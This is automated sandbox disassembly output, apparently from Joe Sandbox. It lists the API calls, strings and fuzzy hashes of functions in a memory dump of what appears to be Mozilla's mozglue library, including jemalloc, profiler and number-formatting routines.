GetModuleHandleW.KERNEL32(user32.dll), ref: 6C66652B
memcpy.VCRUNTIME140(?,?,?), ref: 6C66671C
GetCurrentProcess.KERNEL32 ref: 6C666724
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6C66672F
GetCurrentProcess.KERNEL32 ref: 6C666759
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6C666764
VirtualProtect.KERNEL32(?,00000000,?,?), ref: 6C666A80
GetSystemInfo.KERNEL32(?), ref: 6C666ABE
__Init_thread_footer.LIBCMT ref: 6C666AD3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C666AE8
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C666AF7

Strings

user32.dll, xrefs: 6C666526
_etoured.dll, xrefs: 6C6664ED
detoured.dll, xrefs: 6C6664DA
nvdxgiwrap.dll, xrefs: 6C666513
nvd3d9wrap.dll, xrefs: 6C666500
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows, xrefs: 6C666798

Memory Dump Source

Source File: 00000000.00000002.2393346726.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2393300652.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393391274.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393435353.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393450355.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: HandleModule$CacheCurrentFlushInstructionProcessfree$InfoInit_thread_footerProtectSystemVirtualmemcpy
String ID: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows$_etoured.dll$detoured.dll$nvd3d9wrap.dll$nvdxgiwrap.dll$user32.dll
API String ID: 487479824-2878602165
Opcode ID: e107899b83c6aa657df92b2df7dcac7b44bbfbc6bc99540e755bcd1564052420
Instruction ID: 7cc53657b461bba9e13a34008fa2f976f06660de6afbf4b2ef5565db851e3b8a
Opcode Fuzzy Hash: e107899b83c6aa657df92b2df7dcac7b44bbfbc6bc99540e755bcd1564052420
Instruction Fuzzy Hash: 5CF1E6709052199FDB20CF26DC887DAB7B5AF46318F144299D809E3B41D731EE85CF9A

Function 6C6BC4A0 Relevance: 35.2, APIs: 26, Instructions: 2665COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C6BC5F9
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C6BC6FB
memset.VCRUNTIME140(?,00000000,00004008), ref: 6C6BC74D
memset.VCRUNTIME140(?,00000000,00004008), ref: 6C6BC7DE
memset.VCRUNTIME140(?,00000000,00004014), ref: 6C6BC9D5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C6BCC76
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C6BCD7A
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C6BDB40
memcpy.VCRUNTIME140(?,?,?), ref: 6C6BDB62
memcpy.VCRUNTIME140(?,?,?), ref: 6C6BDB99
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C6BDD8B
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C6BDE95
memcpy.VCRUNTIME140(?,?,?), ref: 6C6BE360
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C6BE432
memcpy.VCRUNTIME140(?,?,?), ref: 6C6BE472

Memory Dump Source

Source File: 00000000.00000002.2393346726.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2393300652.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393391274.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393435353.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393450355.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction ID: 07666fdb95abeea65de448be75d2845b17df2f4a7965e0ad538a7b64aa7667bc
Opcode Fuzzy Hash: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction Fuzzy Hash: 5733AC71E0021A8FCB04CFA8C8806EDBBF2FF49314F288269D955BB755D731A956CB94

Function 6C67ED10 Relevance: 32.4, APIs: 16, Strings: 2, Instructions: 5407COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00010030), ref: 6C67EE7A
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6C67EFB5
memcpy.VCRUNTIME140(?,?,?,?), ref: 6C681695
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C6816B4
memset.VCRUNTIME140(00000002,000000FF,?,?), ref: 6C681770
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C681A3E

Strings

~qel, xrefs: 6C67ED13
~qel, xrefs: 6C67ED10

Memory Dump Source

Source File: 00000000.00000002.2393346726.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2393300652.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393391274.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393435353.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393450355.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: memset$freemallocmemcpy
String ID: ~qel$~qel
API String ID: 3693777188-2922831641
Opcode ID: b0d6fbd152e4c27c75d6ad2b320a4be92d76d63439be627fe0f1e3c33d2acc78
Instruction ID: 8fa18b222c337912a8b1ca23478ce27298b3960ccb6cabc63e13a2ac82a5fafa
Opcode Fuzzy Hash: b0d6fbd152e4c27c75d6ad2b320a4be92d76d63439be627fe0f1e3c33d2acc78
Instruction Fuzzy Hash: 13B33971E01219CFCB24CFA8C890ADDB7B2BF49304F2585A9D459AB745D730AD86CFA4

Function 6C66FD00 Relevance: 31.4, APIs: 17, Strings: 3, Instructions: 1360memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C6DE7B8), ref: 6C66FF81
LeaveCriticalSection.KERNEL32(6C6DE7B8), ref: 6C67022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6C670240
EnterCriticalSection.KERNEL32(6C6DE768), ref: 6C67025B
LeaveCriticalSection.KERNEL32(6C6DE768), ref: 6C67027B

Strings

<jemalloc>, xrefs: 6C670D62, 6C670D76, 6C670DA7
: (malloc) Error in VirtualFree(), xrefs: 6C670D67, 6C670D7B, 6C670DAC
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C66FE99, 6C66FEB7, 6C66FED3, 6C670DB8, 6C670DD3, 6C6719B4

Memory Dump Source

Source File: 00000000.00000002.2393346726.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2393300652.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393391274.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393435353.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393450355.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3577267516
Opcode ID: 498597fbc7d55b41ee2c801f08bbf64f5f214a6b7b6fbc0117505a98ef7eea40
Instruction ID: e8992d00596065b3b005aafba80a9a854203beed125ea67ceae0e362e91cc08c
Opcode Fuzzy Hash: 498597fbc7d55b41ee2c801f08bbf64f5f214a6b7b6fbc0117505a98ef7eea40
Instruction Fuzzy Hash: 01C20271A057418FD724CF28C590756BBE1BF85328F28CA6DE4698B7D5C732E801CBA9

Function 6C6BE680 Relevance: 31.1, APIs: 22, Instructions: 3648COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00004014), ref: 6C6BE811
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C6BEAA8
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C6BEBD5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C6BEEF6
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C6BF223
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6C6BF322
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C6C0E03
memcpy.VCRUNTIME140(?,?,?,?), ref: 6C6C0E54
memcpy.VCRUNTIME140(?,?,?), ref: 6C6C0EAE
memcpy.VCRUNTIME140(?,?,?), ref: 6C6C0ED4

Memory Dump Source

Source File: 00000000.00000002.2393346726.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2393300652.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393391274.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393435353.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393450355.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: c8e1b55e4da7bfd3646139be31583bd68617d8375b9079d4d794990734b32e14
Instruction ID: 09fc73846ed4e5b5e4925d412a24fb1bb0b96869d3e965f44c9892b77a9da60c
Opcode Fuzzy Hash: c8e1b55e4da7bfd3646139be31583bd68617d8375b9079d4d794990734b32e14
Instruction Fuzzy Hash: F063AD75E0025A8FCB04CFA8C8806DDFBB2FF89304F298269D855BB755D730A946CB95

Function 6C693E50 Relevance: 28.8, APIs: 13, Strings: 3, Instructions: 765COMMON

Download Yara Rule

APIs

Part of subcall function 6C6B7770: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(}>il,?,?,?,6C693E7D,?,?), ref: 6C6B777C

tolower.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000), ref: 6C693F17
memset.VCRUNTIME140(?,00000000,00000110), ref: 6C693F5C
VerSetConditionMask.NTDLL ref: 6C693F8D
VerSetConditionMask.NTDLL ref: 6C693F99
VerSetConditionMask.NTDLL ref: 6C693FA0
VerSetConditionMask.NTDLL ref: 6C693FA7
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6C693FB4

Strings

C>il, xrefs: 6C693E93
nvinit.dll, xrefs: 6C694479
nvd3d9wrap.dll, xrefs: 6C694466

Memory Dump Source

Source File: 00000000.00000002.2393346726.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2393300652.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393391274.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393435353.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393450355.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemsettolowerwcslen
String ID: C>il$nvd3d9wrap.dll$nvinit.dll
API String ID: 1189858803-416255230
Opcode ID: 90aaa3219a0734a8e10a1853969c769a5af7cb6c33ae41dd46dc9edeb52facce
Instruction ID: c4b7b43111936190e031cebce628acb0aecf7b3affde093ccdcb8ce31f9d9907
Opcode Fuzzy Hash: 90aaa3219a0734a8e10a1853969c769a5af7cb6c33ae41dd46dc9edeb52facce
Instruction Fuzzy Hash: 2452F531614B459FDB10DF348480ABBB7E9AF86304F04096DE5978BB82CB74F909CB68

Function 6C66FEF0 Relevance: 23.8, APIs: 13, Strings: 2, Instructions: 1294memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C6DE7B8), ref: 6C66FF81
LeaveCriticalSection.KERNEL32(6C6DE7B8), ref: 6C67022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6C670240
EnterCriticalSection.KERNEL32(6C6DE768), ref: 6C67025B
LeaveCriticalSection.KERNEL32(6C6DE768), ref: 6C67027B

Strings

MOZ_CRASH(), xrefs: 6C670CA7
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C66FE99, 6C66FEB7, 6C66FED3, 6C670DB8, 6C670DD3, 6C6719B4, 6C671A10

Memory Dump Source

Source File: 00000000.00000002.2393346726.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2393300652.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393391274.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393435353.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393450355.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3566792288
Opcode ID: 377a90b1383cd4f6e410060cebd0b236d3e52c14ea21b1dc2458dfe8be273a8a
Instruction ID: c5f8d1fd12965b830365947a9c50168999fe390861b717d07dff7eeaa7903c5c
Opcode Fuzzy Hash: 377a90b1383cd4f6e410060cebd0b236d3e52c14ea21b1dc2458dfe8be273a8a
Instruction Fuzzy Hash: 99B2FE316057418FD724CF28C5D0716BBE1BF85328F28CA6DE86A8BB95C731E840CB69

Function 6C6A5600 Relevance: 22.0, APIs: 6, Strings: 6, Instructions: 950COMMON

Download Yara Rule

Strings

name, xrefs: 6C6A5E79, 6C6A5E8F
expected a Count entry, xrefs: 6C6A5AC3
data, xrefs: 6C6A6131
expected a Time entry, xrefs: 6C6A5CB6
ProfileBuffer parse error: %s, xrefs: 6C6A5AC8, 6C6A5CBB
schema, xrefs: 6C6A606D

Memory Dump Source

Source File: 00000000.00000002.2393346726.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2393300652.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393391274.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393435353.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393450355.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID:
String ID: ProfileBuffer parse error: %s$data$expected a Count entry$expected a Time entry$name$schema
API String ID: 0-2712937348
Opcode ID: 76e69116b1e6e1704ffc8b5cc9e5656b803a2a136cdc7f196174341f995c3bdf
Instruction ID: 15787890fe778cc31cb661b3cbed2d527a4f8242da0139c910558a72f95608e2
Opcode Fuzzy Hash: 76e69116b1e6e1704ffc8b5cc9e5656b803a2a136cdc7f196174341f995c3bdf
Instruction Fuzzy Hash: 1F926CB1A087418FD724CF59C49079AB7E1FFC9308F14891DE59A9B751DB30E80ACB9A

Function 6C6A2E4E Relevance: 19.8, APIs: 8, Strings: 3, Instructions: 579stringCOMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6C6A2ED3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C6A2EE7
MozFormatCodeAddressDetails.MOZGLUE(?,000000FF,00000000,?,?), ref: 6C6A2F0D
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C6A3214
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C6A3242
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C6A36BF

Strings

MOZ_PROFILER_SYMBOLICATE, xrefs: 6C6A378D
set , xrefs: 6C6A36EC
get , xrefs: 6C6A3205

Memory Dump Source

Source File: 00000000.00000002.2393346726.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2393300652.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393391274.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393435353.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393450355.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: strlen$AddressCode$DescribeDetailsFormat
String ID: MOZ_PROFILER_SYMBOLICATE$get $set
API String ID: 2257098003-3318126862
Opcode ID: 0f2f3cde56ae256f8e4f2838535945ccd874a002808d56f1c33e8a395cb1cd4e
Instruction ID: e335c5896470117f24a1d7905bca94b85fc95766e42619db47664e281dacefd1
Opcode Fuzzy Hash: 0f2f3cde56ae256f8e4f2838535945ccd874a002808d56f1c33e8a395cb1cd4e
Instruction Fuzzy Hash: 23325F706083818FD324CF64C4906AEF7E2AFCA318F54892DE59987751DB31E94ACB5B

Function 6C697E10 Relevance: 19.7, APIs: 6, Strings: 5, Instructions: 403COMMON

Download Yara Rule

Strings

name, xrefs: 6C697ECF, 6C698335
data, xrefs: 6C698280, 6C6983E1
(pre-xul), xrefs: 6C697E88
vml, xrefs: 6C698207
schema, xrefs: 6C6981E3, 6C698311

Memory Dump Source

Source File: 00000000.00000002.2393346726.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2393300652.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393391274.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393435353.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393450355.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: memcpystrlen
String ID: (pre-xul)$data$name$schema$vml
API String ID: 3412268980-1127494330
Opcode ID: 50d35162e2be8bb4c1390a11102234f542ceebbfd6a3dbc931716a11d87444ef
Instruction ID: d705e3e16f5a66896cbab592bcc7b139a249099473c9c99f12f19ba6965382d3
Opcode Fuzzy Hash: 50d35162e2be8bb4c1390a11102234f542ceebbfd6a3dbc931716a11d87444ef
Instruction Fuzzy Hash: 95E17EB1A043418BC710CF69884065BFBE9FBC5318F154A2DE899D7790DBB0ED498B9A

Function 6C67D4D0 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 251COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C6DE784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C68D1C5), ref: 6C67D4F2
LeaveCriticalSection.KERNEL32(6C6DE784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C68D1C5), ref: 6C67D50B

Part of subcall function 6C65CFE0: EnterCriticalSection.KERNEL32(6C6DE784), ref: 6C65CFF6
Part of subcall function 6C65CFE0: LeaveCriticalSection.KERNEL32(6C6DE784), ref: 6C65D026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C68D1C5), ref: 6C67D52E
EnterCriticalSection.KERNEL32(6C6DE7DC), ref: 6C67D690
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C67D6A6
LeaveCriticalSection.KERNEL32(6C6DE7DC), ref: 6C67D712
LeaveCriticalSection.KERNEL32(6C6DE784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C68D1C5), ref: 6C67D751
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C67D7EA

Strings

<jemalloc>, xrefs: 6C67D827
: (malloc) Error initializing arena, xrefs: 6C67D82C

Memory Dump Source

Source File: 00000000.00000002.2393346726.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2393300652.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393391274.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393435353.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393450355.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$K@1@Maybe@_RandomUint64@mozilla@@$CountInitializeSpin
String ID: : (malloc) Error initializing arena$<jemalloc>
API String ID: 2690322072-3894294050
Opcode ID: 87ce9bd5f3aff67cde588faddb11a27f5e74e8bb6ca9c4638c38cf2c6ce1d661
Instruction ID: 8e5b2784bc4e44ae93db445447a53da21b8530f242c60e12b6fd494aaa9eed1f
Opcode Fuzzy Hash: 87ce9bd5f3aff67cde588faddb11a27f5e74e8bb6ca9c4638c38cf2c6ce1d661
Instruction Fuzzy Hash: 1991C471A047018FD764CF29C49076AB7E1EB89318F158D2EE55AC7B81D734E844CBAA

Function 6C6B4EA0 Relevance: 16.2, APIs: 8, Strings: 1, Instructions: 408sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000007D0), ref: 6C6B4EFF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B4F2E
moz_xmalloc.MOZGLUE ref: 6C6B4F52
memset.VCRUNTIME140(00000000,00000000), ref: 6C6B4F62
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B52B2
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B52E6
Sleep.KERNEL32(00000010), ref: 6C6B5481
free.MOZGLUE(?), ref: 6C6B5498

Strings

(, xrefs: 6C6B5250

Memory Dump Source

Source File: 00000000.00000002.2393346726.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2393300652.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393391274.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393435353.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393450355.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: floor$Sleep$freememsetmoz_xmalloc
String ID: (
API String ID: 4104871533-3887548279
Opcode ID: fb8675555285ac875c3de1cb55c2b124986113e0b03f320fa3a58dae27b9f0f6
Instruction ID: 4fb74f4d0ce92a9ec60c45ee6cd4a51cd83b2aaa59eff681b535a05e015bdd44
Opcode Fuzzy Hash: fb8675555285ac875c3de1cb55c2b124986113e0b03f320fa3a58dae27b9f0f6
Instruction Fuzzy Hash: E1F1B271A19B408FC716CF39C89062BB7F5AFE6384F058B2EF846A7651DB31D4428B85

Function 6C679E50 Relevance: 13.1, APIs: 6, Strings: 1, Instructions: 878COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C679EB8
LeaveCriticalSection.KERNEL32(?), ref: 6C679F24
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C679F34
LeaveCriticalSection.KERNEL32(?), ref: 6C67A823
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C67A83C
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C67A849

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C67A8B1, 6C67A8D4, 6C67A8EF

Memory Dump Source

Source File: 00000000.00000002.2393346726.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2393300652.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393391274.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393435353.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393450355.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSection$K@1@LeaveMaybe@_RandomUint64@mozilla@@$Entermemset
String ID: MOZ_RELEASE_ASSERT(mNode)
API String ID: 2950001534-1351931279
Opcode ID: db17d2bc2b6b705c310f098b49b2b29c2677901b78e74add1f0f3777c2b96d9c
Instruction ID: c1827dcb3a360c7d673e696c750ffb37eae7622c7899b4964e0a10ca42f943cf
Opcode Fuzzy Hash: db17d2bc2b6b705c310f098b49b2b29c2677901b78e74add1f0f3777c2b96d9c
Instruction Fuzzy Hash: BA728D72A157118FD324CF28C540615FBE1BF89328F29CB6DE8698B792D335E841CB94

Function 6C6A2C10 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 228stringCOMMON

Download Yara Rule

APIs

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6C6A2C31
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6C6A2C61

Part of subcall function 6C654DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C654E5A
Part of subcall function 6C654DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C654E97

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C6A2C82
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C6A2E2D

Part of subcall function 6C6681B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6C6681DE

Strings

expected a Time entry, xrefs: 6C6A2E36
ProfileBuffer parse error: %s, xrefs: 6C6A2E3B
(root), xrefs: 6C6A354F

Memory Dump Source

Source File: 00000000.00000002.2393346726.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2393300652.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393391274.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393435353.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393450355.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Dtoa$Ascii@Builder@2@Builder@2@@Converter@CreateDecimalEcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestV12@__acrt_iob_func__stdio_common_vfprintfstrlen
String ID: (root)$ProfileBuffer parse error: %s$expected a Time entry
API String ID: 801438305-4149320968
Opcode ID: 02e4312583ca8ec7a0c251b38ac92e337338f3bd8d8f9d95d7f3126bcdc41898
Instruction ID: c45b159c50666698707fa0529ec4367b72d96f9d0c3f7e5a65ee094248517380
Opcode Fuzzy Hash: 02e4312583ca8ec7a0c251b38ac92e337338f3bd8d8f9d95d7f3126bcdc41898
Instruction Fuzzy Hash: 4191CF706087408FC724DF65C48469EF7E1AFCA358F10492DE99A8B751DB30E94ACB5B

Function 6C6B9E30 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 347COMMON

Download Yara Rule

APIs

__aullrem.LIBCMT ref: 6C6B9F3D
__aulldiv.LIBCMT ref: 6C6B9F77
__aullrem.LIBCMT ref: 6C6B9F8C
__aulldiv.LIBCMT ref: 6C6BA023

Strings

-Infinity, xrefs: 6C6B9E60, 6C6B9E7B
NaN, xrefs: 6C6B9EAB

Memory Dump Source

Source File: 00000000.00000002.2393346726.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2393300652.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
